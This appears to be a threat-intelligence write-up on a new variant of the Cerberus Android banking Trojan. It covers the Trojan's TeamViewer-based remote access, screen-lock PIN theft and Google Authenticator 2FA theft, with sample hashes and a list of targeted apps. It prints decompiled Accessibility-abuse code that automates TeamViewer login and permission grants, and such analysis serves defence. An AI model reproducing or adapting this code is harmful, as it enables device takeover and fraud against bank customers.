Cerberus

The Cerberus banking Trojan that appeared on the threat landscape end of June 2019 has taken over from the infamous Anubis Trojan as major rented banking malware. While offering a feature-set that enables successful exfiltration of personally identifiable information (PII) from infected devices, Cerberus was still lacking features that could help lowering the detection barrier during the abuse of stolen information and fraud. Mid-January 2020, after new-year celebrations, Cerberus authors came back with a new variant that aimed to resolve that problem, a RAT feature to perform fraud from the infected device.

This new Cerberus variant has undergone refactoring of the code base and updates of the C2 communication protocol, but most notably it got enhanced with the RAT capability, possibility to steal device screen-lock credentials (PIN code or swipe pattern) and 2FA tokens from the Google Authenticator application.

The RAT service is able to traverse the file system of the device and download its contents. On top of that it can also launch TeamViewer and setup connections to it, providing threat actors full remote access of the device.

Once TeamViewer is working, it provides actors with many possibilities, including changing device settings, installing or removing apps, but most notably using any app on the device (such as banking apps, messengers and social network apps). It can also provide valuable insight into victim’s behavior and habits; in case it would be used for espionage purposes.

The following snippet shows the code responsible for TeamViewer login and initialization:

String runningPackage = this.lowerPkgName;
if(getNodeFromEvent.contains("com.teamviewer.host.market")) {
    AccessibilityNodeInfo username = AcccesibilityUtils.getNodeFromEvent(event, "com.teamviewer.host.market:id/host_assign_device_username");
    AccessibilityNodeInfo password = AcccesibilityUtils.getNodeFromEvent(event, "com.teamviewer.host.market:id/host_assign_device_password");
    AccessibilityNodeInfo submit = AcccesibilityUtils.getNodeFromEvent(event, "com.teamviewer.host.market:id/host_assign_device_submit_button");
    if(username != null) {
        this.teamviewerUsername = this.utils.readShPrStr(this, this.strings.connect_teamviewer);
        if(!this.teamviewerUsername.isEmpty()) {
            this.teamviewerPassord = this.utils.readShPrStr(this, this.strings.password);
            this.credsSubmitted = false;
            this.passwordFilled = false;
            this.userFilled = false;
            this.permissionStatus = 0;
            this.utils.writeShPrStr(this, this.strings.connect_teamviewer, "");
            this.utils.writeShPrStr(this, this.strings.password, "");
        }
    }

    if(this.permissionStatus == 0) {
        AccessibilityNodeInfo v7_7 = AcccesibilityUtils.getNodeFromEvent(event, "com.teamviewer.host.market:id/action_bar_root");
        if(v7_7 != null && AcccesibilityUtils.getNodeFromEvent(event, "com.teamviewer.host.market:id/buttonPanel") != null) {
            this.permissionStatus = 1;
            AccessibilityNodeInfo tmButton = AcccesibilityUtils.getNodeFromEvent(event, "android:id/button1");
            if(tmButton != null) {
                this.acc_utils.clickButton(tmButton);
            }

            AccessibilityNodeInfo klmCheckBox = AcccesibilityUtils.getNodeFromEvent(event, "com.samsung.klmsagent:id/checkBox1");
            AccessibilityNodeInfo klmConfirm = AcccesibilityUtils.getNodeFromEvent(event, "com.samsung.klmsagent:id/btn_confirm");
            if(klmCheckBox != null && this.permissionStatus == 1) {
                this.acc_utils.clickButton(klmCheckBox);
                this.acc_utils.clickButton(klmConfirm);
                this.permissionStatus = 2;
                Utils utils = this.utils;
                utils.launchPkg(this, "com.teamviewer.host.market");
            }
        }
    }

    if(!this.teamviewerUsername.isEmpty() && !this.teamviewerPassord.isEmpty()) {
        if(username != null && !this.userFilled) {
            this.acc_utils.setInput(username, this.teamviewerUsername);
            this.userFilled = true;
        }

        if(password != null && !this.passwordFilled) {
            this.acc_utils.setInput(password, this.teamviewerPassord);
            this.passwordFilled = true;
        }

        if((this.userFilled) && (this.passwordFilled) && !this.credsSubmitted) {
            this.permissionStatus = 0;
            this.acc_utils.clickButton(submit);
            this.credsSubmitted = true;
            String v0_9 = this.utils.readShPrStr(this, this.strings.hidden);
            if(v0_9.equals("true")) {
                this.goBack();
            }
        }
    }
}

The feature enabling theft of device’s screen lock credentials (PIN and lock pattern) is powered by a simple overlay that will require the victim to unlock the device. From the implementation of the RAT we can conclude that this screen-lock credential theft was built in order for the actors to be able to remotely unlock the device in order to perform fraud when the victim is not using the device. This once more shows the creativity of criminals to build the right tools to be successful.

Abusing the Accessibility privileges, the Trojan can now also steal 2FA codes from Google Authenticator application. When the app is running, the Trojan can get the content of the interface and can send it to the C2 server. Once again, we can deduce that this functionality will be used to bypass authentication services that rely on OTP codes.

This is an example of what the Google Authenticator application looks like:

Cerberus Google Authenticator

Until now, the end of February 2020, no advertisement for these features has yet been made in underground forums. Therefore, we believe that this variant of Cerberus is still in the test phase but might be released soon. Having an exhaustive target list including institutions from all over the world, combined with its new RAT capability, Cerberus is a critical risk for financials offering online banking services. Whether in its target list or not, it is easy for its operators to enhance the list to target additional apps (refer to the appendix for the current target list).

Cerberus

Samples

SHA-256
c3adb0a1a420af392de96b1150f0a23d8826c8207079e1dc268c07b763fe1af7
4ff95cadf83b47d1305f1deb4315e6387c4c0d58a0bdd12f74e866938c48baa5
9d4ce9cce72ec64761014aecbf1076041a8d790771fa8f8899bd3e2b2758281d

Target list

Package nameApp name
au.com.nab.mobileNAB Mobile Banking
com.IngDirectAndroidING Direct France
com.abnamro.nl.mobile.paymentsABN AMRO Mobiel Bankieren
com.akbank.android.apps.akbank_direktAkbank Direkt
com.android.vendingGoogle Play Store
com.att.myWirelessmyAT&T
com.bankinter.launcherBankinter Móvil
com.bbva.bbvacontigoBBVA Spain
com.bmo.mobileBMO Mobile Banking
com.boursorama.android.clientsBoursorama Banque
com.caisseepargne.android.mobilebankingBanque
com.chase.sig.androidChase Mobile
com.cibc.android.mobiCIBC Mobile Banking®
com.clairmail.fthFifth Third Mobile Banking
com.cm_prod.badCrédit Mutuel
com.coinbase.androidCoinbase - Buy Bitcoin & more. Secure Wallet.
com.commbank.netbankCommBank
com.connectivityapps.hotmailConnect for Hotmail
com.csam.icici.bank.imobileiMobile by ICICI Bank
com.db.mm.norisbanknorisbank App
com.db.pbc.miabancaLa Mia Banca
com.finansbank.mobile.cepsubeQNB Finansbank Cep ªubesi
com.finanteq.finance.caCA24 Mobile
com.garanti.cepsubesiGaranti Mobile Banking
com.google.android.gmGmail
com.grppl.android.shell.CMBlloydsTSB73Lloyds Bank Mobile Banking
com.grppl.android.shell.halifaxHalifax: the banking app that gives you extra
com.infonow.bofaBank of America Mobile Banking
com.konylabs.capitaloneCapital One® Mobile
com.kutxabank.androidKutxabank
com.kuveytturk.mobilMobil ªube
com.latuabancaperandroidIntesa Sanpaolo Mobile
com.mail.mobile.android.mailmail.com mail
com.microsoft.office.outlookMicrosoft Outlook
com.pozitron.iscepݺCep
com.rbc.mobile.androidRBC Mobile
com.rsiruralvía
com.sbi.SBIFreedomPlusSBI Anywhere Personal
com.starfinanz.smob.android.sfinanzstatusSparkasse   Ihre mobile Filiale
com.suntrust.mobilebankingSunTrust Mobile App
com.targo_prod.badTARGOBANK Mobile Banking
com.tebCEPTETEB
com.tmobtech.halkbankHalkbank Mobil
com.unicreditMobile Banking UniCredit
com.usaa.mobile.android.usaaUSAA Mobile
com.usbank.mobilebankingU.S. Bank
com.vakifbank.mobileVakıfBank Mobil Bankacılık
com.wf.wellsfargomobileWells Fargo Mobile
com.yahoo.mobile.client.android.mailYahoo Mail – Stay Organized
com.ykb.androidYapı Kredi Mobile
com.ziraat.ziraatmobilZiraat Mobil
de.comdirect.androidcomdirect mobile App
de.commerzbanking.mobilCommerzbank Banking App
de.consorsbankConsorsbank
de.dkb.portalappDKB-Banking
de.fiducia.smartphone.android.banking.vrVR-Banking
de.postbank.finanzassistentPostbank Finanzassistent
es.bancosantander.appsSantander
es.cm.androidBankia
es.evobanco.bancamovilEVO Banco móvil
es.ibercaja.ibercajaappIbercaja
es.lacaixa.mobile.android.newwapiconCaixaBank
es.univia.unicajamovilUnicajaMovil
eu.unicreditgroup.hvbapptanHVB Mobile B@nking
finansbank.enparaEnpara.com Cep ªubesi
fr.banquepopulaire.cyberplusBanque Populaire
fr.creditagricole.androidappMa Banque
fr.lcl.android.customerareaMes Comptes - LCL
it.bnl.apps.bankingBNL
it.copergmps.rt.pf.android.sp.bmpsBanca MPS
it.ingdirect.appING DIRECT Italia
it.nogood.containerUBI Banca
it.popso.SCRIGNOappSCRIGNOapp
jp.co.rakuten_bank.rakutenbank楽天銀行 -個人のお客様向けアプリ
mobi.societegenerale.mobile.lappliL'Appli Société Générale
org.stgeorge.bankSt.George Mobile Banking
pe.com.interbank.mobilebankingInterbank APP
piuk.blockchain.androidBlockchain Wallet. Bitcoin, Bitcoin Cash, Ethereum
pl.mbankmBank PL
pl.pkobp.ikoIKO
posteitaliane.posteapp.apppostepayPostepay
com.facebook.katanaFacebook
com.instagram.androidInstagram
com.paypal.android.p2pmobilePayPal Cash App: Send and Request Money Fast
com.snapchat.androidSnapchat
com.twitter.androidTwitter
com.viber.voipViber Messenger
com.whatsappWhatsApp Messenger
org.telegram.messengerTelegram